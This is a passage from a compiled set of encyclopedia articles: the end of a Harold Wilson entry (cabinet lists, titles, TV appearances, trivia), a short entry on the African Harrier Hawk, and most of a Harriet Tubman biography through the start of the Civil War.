            	Michael Stewart - First Secretary of State and Secretary of State for Economic Affairs


            	Lord Gardiner - Lord Chancellor


            	Richard Crossman - Lord President of the Council


            	Lord Longford - Lord Privy Seal


            	James Callaghan - Chancellor of the Exchequer


            	George Brown - Secretary of State for Foreign Affairs


            	Roy Jenkins - Secretary of State for the Home Department


            	Fred Peart - Minister of Agriculture, Fisheries and Food


            	Herbert Bowden - Secretary of State for Commonwealth Affairs


            	Denis Healey - Secretary of State for Defence


            	Anthony Crosland - Secretary of State for Education and Science


            	Anthony Greenwood - Minister of Housing and Local Government


            	Arthur Bottomley - Minister for Overseas Development


            	Ray Gunter - Minister of Labour


            	Richard Marsh - Minister of Power


            	William Ross - Secretary of State for Scotland


            	Tony Benn - Minister of Technology


            	Douglas Jay - President of the Board of Trade


            	Barbara Castle - Minister of Transport


            	Cledwyn Hughes - Secretary of State for Wales

          


          Changes


          
            	January 1967 - Lord Shackleton and Patrick Gordon Walker enter the cabinet as Ministers without Portfolio.


            	August 1967 - Peter Shore succeeds Michael Stewart as Secretary of State for Economic Affairs. Stewart remains First Secretary of State. George Thomson succeeds Herbert Bowden as Commonwealth Secretary. Anthony Crosland succeeds Douglas Jay as President of the Board of Trade. Patrick Gordon Walker succeeds Anthony Crosland as Education Secretary. Arthur Bottomley, Minister of Overseas Development, leaves the cabinet. His successor in that office is not in the cabinet.


            	November 1967 - Roy Jenkins succeeds James Callaghan as Chancellor of the Exchequer. Callaghan succeeds Jenkins as Home Secretary


            	January 1968 - Lord Shackleton succeeds Lord Longford as Lord Privy Seal.

          


          After reshuffle, April 1968


          
            	Harold Wilson - Prime Minister


            	Barbara Castle - First Secretary of State and Secretary of State for Employment and Productivity


            	Lord Gardiner - Lord Chancellor


            	Richard Crossman - Lord President of the Council


            	Fred Peart - Lord Privy Seal


            	Roy Jenkins - Chancellor of the Exchequer


            	Peter Shore - Secretary of State for Economic Affairs


            	Michael Stewart - Secretary of State for Foreign Affairs


            	James Callaghan - Secretary of State for the Home Department


            	Cledwyn Hughes - Minister of Agriculture, Fisheries and Food


            	George Thomson - Secretary of State for Commonwealth Affairs


            	Denis Healey - Secretary of State for Defence


            	Edward Short - Secretary of State for Education and Science


            	Anthony Greenwood - Minister of Housing and Local Government


            	Ray Gunter - Minister of Labour


            	Ray Gunter - Minister of Power


            	William Ross - Secretary of State for Scotland


            	Tony Benn - Minister of Technology


            	Anthony Crosland - President of the Board of Trade


            	Richard Marsh - Minister of Transport


            	George Thomas - Secretary of State for Wales


            	Lord Shackleton - Paymaster General

          


          Changes


          
            	July 1968 - Roy Mason succeeds Ray Gunter as Minister of Power.


            	October-November 1968 - Fred Peart succeeds Richard Crossman as Lord President. Lord Shackleton succeeds Fred Peart as Lord Privy Seal. Judith Hart succeeds Shackleton as Paymaster-General. The Foreign and Commonwealth Offices are merged, with Michael Stewart as Foreign and Commonwealth Secretary. Jack Diamond, the Chief Secretary to the Treasury, enters the cabinet. The office of Secretary of State for Social Services is created, with Richard Crossman as Secretary. George Thomson enters the cabinet as Minister without Portfolio.


            	October 1969 - Anthony Greenwood, Minister of Housing and Local Government, leaves the cabinet. George Thomson becomes Chancellor of the Duchy of Lancaster. Anthony Crosland, becomes the Secretary of State for Local Government and Regional Planning. Roy Mason succeeds Crosland as President of the Board of Trade. His previous position of Minister of Power is abolished. Harold Lever succeeds Judith Hart as Paymaster General. Richard Marsh resigns as Minister of Transport. His successor is not in the cabinet.

          


          


          Harold Wilson's second government, March 1974 - April 1976


          
            	Harold Wilson - Prime Minister


            	Lord Elwyn-Jones - Lord Chancellor


            	Edward Short - Lord President of the Council


            	Lord Shepherd - Lord Privy Seal


            	Denis Healey - Chancellor of the Exchequer


            	James Callaghan - Foreign Secretary


            	Roy Jenkins - Home Secretary


            	Fred Peart - Minister of Agriculture, Fisheries and Food


            	Roy Mason - Secretary of State for Defence


            	Reginald Prentice - Secretary of State for Education and Science


            	Michael Foot - Secretary of State for Employment


            	Eric Varley - Secretary of State for Energy


            	Anthony Crosland - Secretary of State for the Environment


            	Barbara Castle - Secretary of State for Health and Social Security


            	Tony Benn - Secretary of State for Industry


            	Harold Lever - Chancellor of the Duchy of Lancaster


            	Merlyn Rees - Secretary of State for Northern Ireland


            	William Ross - Secretary of State for Scotland


            	Shirley Williams - Secretary of State for Prices and Consumer Protection


            	Peter Shore - Secretary of State for Trade


            	John Morris - Secretary of State for Wales


            	Robert Mellish - Chief Whip

          


          


          Changes


          
            	October 1974 - John Silkin although working to the Secretary of State for Environment enters the cabinet as Minister of Planning and Local Government.


            	June 1975 - Fred Mulley succeeds Reginald Prentice as Secretary for Education and Science. Prentice becomes Secretary for Overseas Development. Tony Benn succeeds Eric Varley as Secretary for Energy. Varley succeeds Benn as Secretary for Industry.

          


          


          Titles from birth to death


          
            	Harold Wilson, Esq ( 11 March 1916 1 January 1945)


            	Harold Wilson, Esq, OBE ( 1 January 1945 26 July 1945)


            	Harold Wilson, Esq, OBE, MP ( 26 July 1945 29 September 1947)


            	The Right Honourable Harold Wilson, OBE, MP ( 29 September 1947 6 December 1969)


            	The Right Honourable Harold Wilson, OBE, FRS, MP ( 6 December 1969 23 April 1976)


            	The Right Honourable Sir Harold Wilson, KG, OBE, FRS, MP ( 23 April 1976 9 June 1983)


            	The Right Honourable Sir Harold Wilson, KG, OBE, FRS ( 9 June 16 September 1983)


            	The Right Honourable The Lord Wilson of Rievaulx, KG, PC, OBE, FRS ( 16 September 1983 24 May 1995)

          


          


          Wilson on television


          
            	Shortly after resigning as Prime Minister Wilson was signed by David Frost to host a series of interview/chat show programmes. The pilot episode proved to be a flop as Wilson appeared uncomfortable with the informality of the format.


            	Wilson also hosted two editions of the BBC chat show ' Friday Night, Saturday Morning'. He famously floundered in the role, and in 2000, Channel 4 chose it as one of the 100 Moments of TV Hell.


            	In 1978, Harold Wilson appeared on the Morecambe and Wise Christmas Special. Eric Morecambe's habit of appearing not to recognise the guest stars was repaid by Wilson, who referred to him throughout as 'Mor-e-cam-by'.


            	Francis Wheen scripted the BBC 4 2006 drama The Lavender List, a fictional account of the Wilson Government of 197476. Kenneth Cranham played Wilson, Gina McKee Marcia Williams and Celia Imrie has a supporting role as Wilson's wife. The play concentrated on Wilson and Williams' relationship and her conflict with the Downing Street Press Secretary Joe Haines.


            	Also in 2006, The Plot Against Harold Wilson aired on BBC 2 at 2100GMT on Thursday 16 March. The drama/documentary detailed previously unseen evidence that rogue elements of MI5 and the British military plotted to take down the Labour Government, believing Wilson to be a Soviet spy. Harold Wilson was portrayed by James Bolam.

          


          


          Trivia


          
            	A popular urban myth at Oxford University states that Wilson's grade in his final examination was the highest ever recorded up to that date.


            	Wilson was a supporter of Huddersfield Town Football Club


            	Wilson was an Honorary Fellow of Columbia Pacific University . This was at a time when CPU was led by a Harvard-trained psychiatrist and two former presidents of regionally accredited schools. The former British Prime Minister also delivered a speech at a CPU graduation ceremony .


            	Wilson was voted Pipe Smoker of the Year in 1965 and Pipeman of the Decade in 1976 by the British Pipesmokers' Council.


            	Both Wilson and Edward Heath are named in the lyrics of the George Harrison song " Taxman" the lead track from the Revolver album by The Beatles.


            	A viking in the Asterix story Asterix and the Great Crossing is named Haraldwilssen, and shares his physical features.
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              	Conservation status
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                    	Kingdom:

                    	Animalia

                  


                  
                    	Phylum:

                    	Chordata

                  


                  
                    	Class:

                    	Aves

                  


                  
                    	Order:

                    	Accipitriformes

                  


                  
                    	Family:

                    	Accipitridae

                  


                  
                    	Genus:

                    	Polyboroides
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              	Binomial name
            


            
              	Polyboroides typus

              Smith, 1829
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          The Harrier Hawk, African Harrier Hawk or Gymnogene (Polyboroides typus) is a bird of prey. It is about 60-66cm in length, and is related to the harriers. It breeds in most of Africa south of the Sahara. The only other member of the genus is the allopatric Madagascar Harrier Hawk.


          Its habitat is woodland preferably with palm trees and often near water. It builds a stick nest in the fork of a tree or the crown of a palm tree. The clutch is one to three eggs.


          The Harrier Hawk is a medium-sized raptor. The upperparts, head and breast are pale grey. The belly is white with fine dark barring. The broad wings are pale grey with a black trailing edge fringed with a narrow white line. The tail is black with a single broad white band. There is a bare facial patch of variable colour. Sexes are similar, but young birds have pale brown instead grey, and dark brown replacing black.


          The Harrier Hawk is omnivorous, eating the fruit of the Oil Palm as well as hunting vertebrates. Its ability to climb, using wings as well as feet, and its long double-jointed legs, enable this bird to raid the hole nests of barbets and woodhoopoes for fledglings. A comparable leg-structure and behaviour can be found in the Neotropical Crane Hawk; a case of convergent evolution. The call is a whistled sueee-sueee-sueee.
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                  Harriet Tubman c. 1880
                

              
            


            
              	Born

              	c.1820

              Dorchester County, Maryland
            


            
              	Died

              	March 10, 1913

              Auburn, New York
            


            
              	Spouse(s)

              	John Tubman, Nelson Davies
            


            
              	Parents

              	Ben and Harriet Greene Ross
            

          


          Harriet Tubman (born Araminta Ross; c.1820 10 March 1913) was an African-American abolitionist, humanitarian, and Union spy during the U.S. Civil War. After escaping from captivity, she made thirteen missions to rescue over seventy slaves using the network of antislavery activists and safe houses known as the Underground Railroad. She later helped John Brown recruit men for his raid on Harpers Ferry, and in the post-war era struggled for women's suffrage.


          Born into slavery in Dorchester County, Maryland, Tubman was beaten and whipped by her various owners as a child. Early in her life, she suffered a traumatic head wound when an irate slave owner threw a heavy metal weight at her, intending to hit another slave. The injury caused disabling seizures, headaches, and powerful visionary and dream activity, and spells of hypersomnia which occurred throughout her entire life. A devout Christian, she ascribed her visions and vivid dreams to premonitions from God.


          In 1849, Tubman escaped to Philadelphia, then immediately returned to Maryland to rescue her family. Slowly, one group at a time, she brought relatives with her out of the state, and eventually guided dozens of other slaves to freedom. Traveling by night and in extreme secrecy, Tubman (or "Moses", as she was called) "never lost a passenger". Heavy rewards were offered for many of the people she helped bring away, but no one ever knew it was Harriet Tubman who was helping them. When a far-reaching United States Fugitive Slave Law was passed in 1850, she helped guide fugitives further north into Canada, and helped newly-freed slaves find work.


          When the American Civil War began, Tubman worked for the Union Army, first as a cook and nurse, and then as an armed scout and spy. The first woman to lead an armed expedition in the war, she guided the raid on the Combahee River, which liberated more than seven hundred slaves. After the war, she retired to the family home in Auburn, New York, where she cared for her aging parents. She was active in the women's suffrage movement until illness overtook her and she had to be admitted to a home for elderly African-Americans she had helped open years earlier. After she died in 1913, she became an icon of American courage and freedom.


          


          Family and birth


          Harriet Tubman was born Araminta "Minty" Ross to slave parents, Harriet ("Rit") Green and Ben Ross. Rit was owned by Mary Pattison Brodess (and later her son Edward), while Ben was legally owned by Mary's second husband, Anthony Thompson, who ran a large plantation near the Blackwater River in Dorchester County, Maryland. As with many slaves in the United States, neither the exact year nor place of her birth was recorded, and historians differ as to the best estimate. Kate Larson records the year 1822, based on a midwife payment and several other historical documents while Jean Humez says "the best current evidence suggests that Tubman was born in 1820, but it might have been a year or two later." Catherine Clinton notes that Tubman herself reported the year of her birth as 1825, while her death certificate lists 1815 and her gravestone lists 1820. In her Civil War widow's pension record, Tubman claimed she was born in 1820, 1822, and 1825, an indication, perhaps, that she had no idea when she was born.
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          Modesty, Tubman's maternal grandmother, arrived in the US on a slave ship from Africa; no information is available about her other ancestors. As a child, Tubman was told that she was of Ashanti lineage (from what is now Ghana), though no evidence exists to confirm or deny this assertion. Her mother Rit (who may have been the child of a white man) was a cook for the Brodess family. Her father Ben was a skilled woodsman who managed the timber work on the plantation. They married around 1808, and according to court records, they had nine children together: Linah, born in 1808, Mariah Ritty in 1811, Soph in 1813, Robert in 1816, Minty (Harriet) in 1822, Ben in 1823, Rachel in 1825, Henry in 1830, and Moses in 1832.


          Rit struggled to keep their family together as slavery tried to tear it apart. Edward Brodess sold three of her daughters (Linah, Mariah Ritty, and Soph), separating them from the family forever. When a trader from Georgia approached Brodess about buying Rit's youngest son Moses, she hid him for a month, aided by other slaves and free blacks in the community. At one point she even confronted her owner about the sale. Finally, Brodess and "the Georgia man" came toward the slave quarters to seize the child, where Rit told them: "You are after my son; but the first man that comes into my house, I will split his head open." Brodess backed away and abandoned the sale. Tubman's biographers agree that tales of this event in the family's history influenced her belief in the possibilities of resistance.


          


          Childhood


          Because Tubmans mother was assigned to "the big house" and had scarce time for her own family, as a child Tubman took care of a younger brother and a baby. At the age of five or six, she was hired out to a woman named "Miss Susan" as a nursemaid. Tubman was ordered to keep watch on the baby as it slept; when it woke and cried, Tubman was whipped. She told of a particular day when she was lashed five times before breakfast. She carried these scars for the rest of her life. Threatened later for stealing a lump of sugar, Tubman hid in a neighbour's pig sty for five days, where she fought with the animals for scraps of food. Starving, she returned to Miss Susan's house and received a heavy beating. Later, to protect herself from such abuse, she wrapped herself in layers of clothing, but cried out as she might if less protected. Another time, she bit a white man's knee while receiving a punishment; afterwards, he kept his distance from her.
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          Tubman also worked as a child at the home of a planter named James Cook, where she was ordered into nearby marshes to check the muskrat traps. Even after contracting the measles, she was sent into waist-high cold water. She became very ill and was sent back home. Her mother nursed her back to health, whereupon she was immediately hired out again to various farms. Tubman spoke later of her acute childhood homesickness, once comparing herself to "the boy on the Swanee River", an allusion to Stephen Foster's song " Old Folks at Home". As she grew older and stronger, she was assigned to grueling field and forest work: driving oxen, plowing, and hauling logs.


          


          Head injury


          One day, when she was an adolescent, Tubman was sent to a dry-goods store for some supplies. There, she encountered a slave owned by a different family, who had left the fields without permission. His overseer, furious, demanded that Tubman help restrain the young man. She refused, and as the slave ran away, the overseer threw a two-pound weight from the store's counter. It missed and struck Tubman instead, which she said "broke my skull". She later explained her belief that her hair  which "had never been combed andstood out like a bushel basket"  might have saved her life. Bleeding and unconscious, Tubman was returned to her owner's house and laid on the seat of a loom, where she remained without medical care for two days. She was immediately sent back into the fields, "with blood and sweat rolling down my face until I couldn't see." Her boss said she was "not worth a sixpence" and returned her to Brodess, who tried unsuccessfully to sell her. She began having seizures and would seemingly fall unconscious, although she claimed to be aware of her surroundings even though she appeared to be asleep. These episodes were alarming to her family who were unable to wake her when she fell asleep suddenly and without warning. This condition remained with Tubman for the rest of her days; Larson suggests she may have suffered from temporal lobe epilepsy as a result of the injury.


          This severe head wound occurred at a time in her life when Tubman was becoming deeply religious. As an illiterate child, she had been told Bible stories by her mother. The particular variety of her early Christian belief remains unclear, but Tubman acquired a passionate faith in God. She rejected white interpretations of scripture urging slaves to be obedient, finding guidance in the Old Testament tales of deliverance. After her brain trauma, Tubman began experiencing visions and potent dreams, which she considered signs from the divine. This religious perspective instructed her throughout her life.


          


          Family and marriage


          By 1840, Tubman's father Ben was manumitted  released from slavery at the age of forty-five, as stipulated in a former owner's will. He continued working as a timber estimator and foreman for the Thompson family, who had owned him as a slave. Several years later, Tubman contacted a white attorney and paid him five dollars to investigate her mother's legal status. The lawyer discovered that a former owner had issued instructions that Rit, like her husband, would be manumitted at the age of forty-five. This meant that a similar provision would apply to Rit's children, and that any children born after she reached forty-five years of age were legally free. However, the Pattison and Brodess families had ignored this stipulation when inheriting the slaves, and seeing it enacted was an impossible task for Tubman.


          In or around 1844, she married a free black man named John Tubman. Although little is known about him or their time together, the union was complicated due to her slave status. Since the mother's status dictated that of children, any children born to Harriet and John would be enslaved. Such blended marriages  free people marrying enslaved people  were not uncommon on the Eastern Shore of Maryland, where half the black population was free. Most African American families had both free and enslaved members. Larson suggests that they might have planned to buy Tubman's freedom.


          Tubman changed her name from Araminta to Harriet soon after her marriage, though the exact timing is unclear. Larson suggests this happened right after the wedding, and Clinton that it coincided with Tubman's plans to escape from slavery. She adopted her mother's name, possibly as part of a religious conversion, or possibly to honour a sister who had disappeared.


          


          Escape from slavery


          In 1849, Tubman became ill again, and her value as a slave was diminished as a result. Edward Brodess tried to sell her, but could not find a buyer. Angry at this effort (and the unjust hold he kept on her relatives), Tubman began to pray for her owner, asking God to make him change his ways. "I prayed all night long for my master," she said later, "till the first of March; and all the time he was bringing people to look at me, and trying to sell me." When it appeared as though the sale was being finalized, she switched tactics. "I changed my prayer," she said. "First of March I began to pray, 'Oh Lord, if you ain't never going to change that man's heart, kill him, Lord, and take him out of the way." A week later, Brodess died, and Tubman expressed regret for her earlier sentiments. Ironically, Brodess's death increased the likelihood that Tubman would be sold and the family would be broken apart. His widow Eliza began working to sell the family's slaves. Tubman refused to wait for the Brodess family to decide her fate, despite her husband's efforts to dissuade her. "[T]here was one of two things I had a right to," she explained later, "liberty or death; if I could not have one, I would have the other."
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          Tubman and her brothers Ben and Henry escaped from slavery on 17 September 1849. Tubman had been hired out to Dr. Anthony Thompson, who owned a very large plantation called Poplar Neck in neighboring Caroline County, and it is likely her brothers labored for Thompson there as well. Because the slaves were hired out to another household, Eliza Brodess probably did not recognize their absence as an escape attempt for some time. Two weeks later, however, she posted a runaway notice in the Cambridge Democrat, offering a reward of up to one hundred dollars for each slave returned. Once they had left, however, Tubman's brothers succumbed to second thoughts. Ben had just become a father, and the two men  fearful of the dangers ahead  went back, forcing Tubman to return with them.


          Soon afterwards, Tubman escaped again, this time without her brothers. The night before she left, Tubman tried to send word to her mother of her departure. She located Mary, a trusted fellow slave, and sang a coded song of farewell: "I'll meet you in the morning," she intoned, "I'm bound for the promised land". While her exact route is unknown, Tubman made use of the extensive network known as the Underground Railroad. This informal but well-organized system was composed of free blacks, white abolitionists, and Christian activists. Most prominent among the latter in Maryland at the time were members of the Religious Society of Friends, often called Quakers. The Preston area near Poplar Neck in Caroline County, Maryland contained a significant Quaker community, and was probably an important first stop during Tubman's escape, if not the starting point. From there, she probably took a common route for fleeing slaves: northeast along the Choptank River, through Delaware and then north into Pennsylvania. A journey of nearly ninety miles (145 kilometers), traveling by foot would take between five days and three weeks.


          Her dangerous journey required Tubman to travel by night (guided by the North Star), avoiding the careful eyes of "slavecatchers", eager to collect rewards for fugitive slaves. The "conductors" in the Underground Railroad used a variety of deceptions to hide and protect her. At one of the earliest stops, the lady of the house ordered Tubman to sweep the yard to make it appear as though she worked for the family. When night fell, the family hid her in a cart and took her to the next friendly house. Given her familiarity with the woods and marshes of the region, it is likely that Tubman hid in these locales during the day. Because the routes she followed were used by other fugitive slaves, Tubman did not speak about them until later in her life.


          Particulars of her first journey remain shrouded in secret. She crossed into Pennsylvania with a feeling of relief and awe, and recalled the experience years later: "When I found I had crossed that line, I looked at my hands to see if I was the same person. There was such a glory over everything; the sun came like gold through the trees, and over the fields, and I felt like I was in Heaven."


          [bookmark: .22Moses.22]


          "Moses"


          Immediately after reaching the city of Philadelphia, Tubman began thinking of her family. "I was a stranger in a strange land," she said later. "[M]y father, my mother, my brothers, and sisters, and friends were [in Maryland]. But I was free, and they should be free." She began to work odd jobs and save money. At the same time, the U.S. Congress passed the Fugitive Slave Law of 1850, which forced law enforcement officials (even in states which had outlawed slavery) to aid in the capture of fugitive slaves, and imposed heavy punishments on those who abetted escape. The law increased risks for escaped slaves, many of whom headed north to Canada. Meanwhile, racial tension was increasing in Philadelphia itself, as the city expanded.


          In December 1850, Tubman received a warning that her niece Kessiah was going to be sold (along with her two children, six-year-old James Alfred, and baby Araminta) in Cambridge, Maryland. Horrified at the prospect of having her family broken further apart, Tubman did something very few slaves ever did: she voluntarily returned to the land of her enslavement. She went to Baltimore, where her brother-in-law Tom Tubman hid her until the time of the sale. Kessiah's husband, a free black man named John Bowley, made the winning bid for his wife. Then, while he pretended to make arrangements to pay, Kessiah and her children absconded to a nearby safe house. When night fell, Bowley ferried the family on a log canoe sixty miles (one hundred kilometers) to Baltimore. They met up with Tubman, who brought the family safely to Philadelphia.


          The following spring, she headed back into Maryland to help guide away other family members. On this, her second trip, she brought back her brother Moses, and two other unidentified men. It is likely that Tubman was by this time working with abolitionist Thomas Garrett, a Quaker working in Wilmington, Delaware. Word of her exploits had encouraged her family, and biographers agree that she became more confident with each trip to Maryland. As she led more and more individuals out of slavery, she became popularly known as "Moses"  an allusion to the prophet in the book of Exodus who led the Hebrews to freedom.


          During an interview with author Wilbur Siebert in 1897, Tubman revealed some of the names of helpers and places she used along the Underground Railroad. She stayed with Sam Green, a free black minister living in East New Market, Maryland; she also hid near her parents' home at Poplar Neck in Caroline County, MD. From there, she would travel northeast to Sandtown and Willow Grove, Delaware, and onto the Camden area where free black agents William and Nat Brinkley, and Abraham Gibbs guided her north past Dover, Smyrna, and Blackbird, where other agents would take her across the Chesapeake and Delaware Canal to New Castle and Wilmington. In Wilmington, Quaker Thomas Garrett would secure transportation to William Still's office or the homes of other Underground Railroad operators in the greater Philadelphia area. Still, a famous black agent, is credited with aiding hundreds of freedom seekers escape to safer places farther north in New York, New England, and Canada.


          In the fall of 1851, Tubman returned to Dorchester County for the first time since her escape, this time to find her husband John. She once again saved money from various jobs, purchased a suit for him, and made her way south. John, meanwhile, had married another woman named Caroline. Tubman sent word that he should join her, but he insisted that he was happy where he was. Tubman at first prepared to storm their house and make a scene, but then decided he was not worth the trouble. Suppressing her anger, she found some slaves who wanted to escape and led them to Philadelphia. John and Caroline raised a family together, until he was killed sixteen years later in a roadside argument with a white man named Robert Vincent.
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          Because the Fugitive Slave Law had made the northern United States more dangerous for escaped slaves, many began migrating further north to Canada. In December 1851, Tubman guided an unidentified group of eleven fugitives  possibly including the Bowleys and several others she had helped rescue earlier  northward. There is evidence to suggest that Tubman and her group stopped at the home of abolitionist and former slave Frederick Douglass. In his third autobiography, Douglass wrote: "On one occasion I had eleven fugitives at the same time under my roof, and it was necessary for them to remain with me until I could collect sufficient money to get them on to Canada. It was the largest number I ever had at any one time, and I had some difficulty in providing so many with food and shelter." The number of travelers and the time of the visit make it likely that this was Tubman's group.


          Douglass and Tubman showed a great admiration for one another as they struggled together against slavery. When an early biography of Tubman was being prepared in 1868, Douglass wrote a letter to honour her. It read in part:


          
            
              You ask for what you do not need when you call upon me for a word of commendation. I need such words from you far more than you can need them from me, especially where your superior labors and devotion to the cause of the lately enslaved of our land are known as I know them. The difference between us is very marked. Most that I have done and suffered in the service of our cause has been in public, and I have received much encouragement at every step of the way. You, on the other hand, have labored in a private way. I have wrought in the dayyou in the night.The midnight sky and the silent stars have been the witnesses of your devotion to freedom and of your heroism. Excepting John Brownof sacred memoryI know of no one who has willingly encountered more perils and hardships to serve our enslaved people than you have.

            

          


          


          Journeys and methods


          For eleven years Tubman returned again and again to the Eastern Shore of Maryland, rescuing some seventy slaves in thirteen expeditions, including her three other brothers, Henry, Ben, and Robert, their wives and some of their children. She also provided specific instructions for about fifty to sixty other fugitives who escaped to the north. Her dangerous work required tremendous ingenuity; she usually worked during winter months, to minimize the likelihood that the group would be seen. One admirer of Tubman said: "She always came in the winter, when the nights are long and dark, and people who have homes stay in them." Once she had made contact with escaping slaves, they left town on Saturday evenings, since newspapers would not print runaway notices until Monday morning.


          Her journeys back into the land of slavery put her at tremendous risk, and she used a variety of subterfuges to avoid detection. Tubman once disguised herself with a bonnet and carried two live chickens to give the appearance of running errands. Suddenly finding herself walking toward a former owner in Dorchester County, she yanked the strings holding the birds' legs, and their agitation allowed her to avoid eye contact. Later she recognized a fellow train passenger as another former owner; she snatched a nearby newspaper and pretended to read. Since Tubman was known to be illiterate, the man ignored her.


          Her religious faith was another important resource as she ventured again and again into Maryland. The visions from her childhood head injury continued, and she saw them as divine premonitions. She spoke of "consulting with God", and trusted that He would keep her safe. Thomas Garrett once said of her: "I never met with any person of any colour who had more confidence in the voice of God, as spoken direct to her soul." Her faith in the divine also provided immediate assistance. She used spirituals as coded messages, warning fellow travelers of danger or to signal a clear path.


          She also carried a revolver, and was not afraid to use it. Once a slave agreed to join her expedition, there was no turning back  and she threatened to shoot anyone who tried to return. Tubman told the tale of one voyage with a group of fugitive slaves, when morale sank and one man insisted he was going to go back to the plantation. She pointed the gun at his head and said: "You go on or die." Several days later, he was with the group as they entered Canada. It is more than likely that Tubman carried the handgun as protection from ever-present slave catchers and their vicious dogs.


          Slaveholders in the region, meanwhile, never knew that "Minty", the petite, five-foot-tall, disabled slave who had run away years before and never come back, was behind so many slave escapes in their community. In fact, by the late 1850s they began to suspect a northern white abolitionist was secretly enticing their slaves away. They even entertained the possibility that John Brown himself had come to the Eastern Shore to lure slaves away before his ill-fated raid on Harper's Ferry in October 1859. While a popular legend persists about a reward of US$40,000 for Tubman's capture, this is a manufactured figure. In 1868, in an effort to drum up support for Tubman's claim for a Civil War military pension, a former abolitionist named Salley Holley wrote an article claiming US$40,000 "was not too great a reward for Maryland slaveholders to offer for her." Such a high reward would have garnered national attention, especially at a time when a small farm could be purchased for a mere US$400. No such reward has been found in period newspapers. (The federal government offered $25,000 for the capture of each of John Wilke's Booth's co-conspirators in Lincoln's assassination.) A reward offering of US$12,000 has also been claimed, though no documentation exists for that figure either. Catherine Clinton suggests that the US$40,000 figure may have been a combined total of the various bounties offered around the region. Despite the best efforts of the slaveholders, Tubman was never captured  and neither were the fugitives she guided. Years later, she told an audience: "I was conductor of the Underground Railroad for eight years, and I can say what most conductors can't say  I never ran my train off the track and I never lost a passenger."


          One of her last missions into Maryland was to retrieve her aging parents. Her father, Ben, had purchased Rit, her mother, in 1855 from Eliza Brodess for twenty dollars. But even when they were both free, the area became hostile to their presence. Two years later, Tubman received word that her father had harbored a group of eight escaped slaves, and was at risk of arrest. She traveled to the Eastern Shore and led them north into the Canadian city of St. Catharines, Ontario, where a community of former slaves (including Tubman's brothers, other relatives, and many friends) had gathered.


          


          John Brown and Harpers Ferry


          In April 1858, Tubman was introduced to the abolitionist John Brown, an insurgent who advocated the use of violence to destroy slavery in the United States. Although she never advocated violence against whites, she agreed with his course of direct action and supported his goals. Like Tubman, he spoke of being called by God, and trusted the divine to protect him from the wrath of slaveholders. She, meanwhile, claimed to have had a prophetic vision of meeting Brown before their encounter.
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          Thus, as he began recruiting supporters for an attack on slaveholders, Brown was joined by "General Tubman", as he called her. Her knowledge of support networks and resources in the border states of Pennsylvania, Maryland and Delaware were invaluable to Brown and his planners. Although other abolitionists like Frederick Douglass and William Lloyd Garrison did not endorse his tactics, Brown dreamed of fighting to create a new state for freed slaves, and made preparations for military action. After he began the first battle, he believed, slaves would rise up and carry out a rebellion across the south. He asked Tubman to gather former slaves then living in Canada who might be willing to join his fighting force, which she did.


          On 8 May 1858, Brown held a meeting in Chatham-Kent, Ontario, where he unveiled his plan for a raid on Harpers Ferry, West Virginia. When word of the plan was leaked to the government, Brown put the scheme on hold and began raising funds for its eventual resumption. Tubman aided him in this effort, and with more detailed plans for the assault.


          Tubman was busy during this time, giving talks to abolitionist audiences and tending to her relatives. In the autumn of 1859, as Brown and his men prepared to launch the attack, Tubman could not be contacted. When the raid on Harpers Ferry took place on 16 October, Tubman was not present. Some historians believe she was in New York at the time, ill with fever related to her childhood head injury. Others propose she may have been recruiting more escaped slaves in Canada, and Kate Clifford Larson suggests she may have been in Maryland, recruiting for Brown's raid or attempting to rescue more family members. Larson also notes that Tubman may have begun sharing Frederick Douglass' doubts about the viability of the plan.


          The raid failed; Brown was convicted of treason and hanged in December. His actions were seen by abolitionists as a symbol of proud resistance, carried out by a noble martyr. Tubman herself was effusive with praise. She later told a friend: "[H]e done more in dying, than 100 men would in living."


          


          Auburn and Margaret


          In early 1859, abolitionist US Senator William H. Seward sold Tubman a small piece of land on the outskirts of Auburn, New York for US$1,200. The city was a hotbed of antislavery activism, and Tubman seized the opportunity to deliver her parents from the harsh Canadian winters. Returning to the US meant that escaped slaves were at risk of being returned to the south under the Fugitive Slave Law, and Tubman's siblings expressed reservations. Catherine Clinton suggests that anger over the 1857 Dred Scott decision may have prompted Tubman to return to the US. Her land in Auburn became a haven for Tubman's family and friends. For years, she took in relatives and boarders, offering a safe place for black Americans seeking a better life in the north.


          Shortly after acquiring the Auburn property, Tubman went back to Maryland and returned with her "niece", an eight-year-old light-skinned black girl named Margaret. The circumstances of this expedition remain clouded in mystery. There is great confusion about the identity of Margaret's parents, although Tubman indicated they were free blacks. The girl had left behind a twin brother and a loving home in Maryland. Years later, Margaret's daughter Alice called Tubman's actions selfish, saying: "she had taken the child from a sheltered good home to a place where there was nobody to care for her." Indeed, Alice described it as a "kidnapping".


          However, both Clinton and Larson present the possibility that Margaret was in fact Tubman's daughter. Larson points out that the two shared an unusually strong bond, and argues that Tubman  knowing the pain of a child separated from her mother  would never have intentionally caused a free family to be split apart. Clinton presents evidence of strong physical similarities, which Alice herself acknowledged. Both historians agree that no concrete evidence exists for such a possibility, and the mystery of Tubman's relationship with young Margaret remains to this day.


          In November 1860, Tubman conducted her last rescue mission. Throughout the 1850s, Tubman had been unable to effect the escape of her beloved sister Rachel, and Rachel's two children (Ben and Angerine). Upon returning to Dorchester County, Tubman discovered that Rachel had died, and the children could only be rescued if she could pay a US$30 bribe. She had no money, so the children remained enslaved (and their fates remain unknown). Never one to waste a trip, Tubman gathered another group, including the Ennals family, ready and willing to take the risks of the journey north. It would take them weeks to safely get away because of slave catchers, forcing them to hide-out longer than expected. The weather was unseasonable cold and they had little food. The children had to be drugged with paregoric to keep them quiet while slave patrols rode by. They safely reached the home of Martha and David Wright in Auburn, NY on December 28, 1860.
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          Civil War


          When the American Civil War broke out in 1861, Tubman saw a Union victory as a key step toward the abolition of slavery. General Benjamin Butler, for instance, aided escaped slaves flooding into Fort Monroe. Butler had declared these fugitives to be " contraband"  property seized by northern forces  and put them to work without pay in the fort. Tubman hoped to offer her own expertise and skills to the Union cause, too, and soon she joined a group of Boston and Philadelphia abolitionists heading to the Hilton Head District in South Carolina. She became a fixture in the camps, particularly in Port Royal, South Carolina, assisting fugitives.


          Tubman soon met with General David Hunter, a strong supporter of abolition. He declared all of the "contrabands" in the Port Royal district free, and began gathering former slaves for a regiment of black soldiers. US President Abraham Lincoln, however, was not prepared to enforce emancipation on the southern states, and reprimanded Hunter for his actions. Tubman condemned Lincoln's response (and his general unwillingness to consider ending slavery in the US), for both moral and practical reasons. "God won't let master Lincoln beat the South till he does the right thing," she said.


          
            
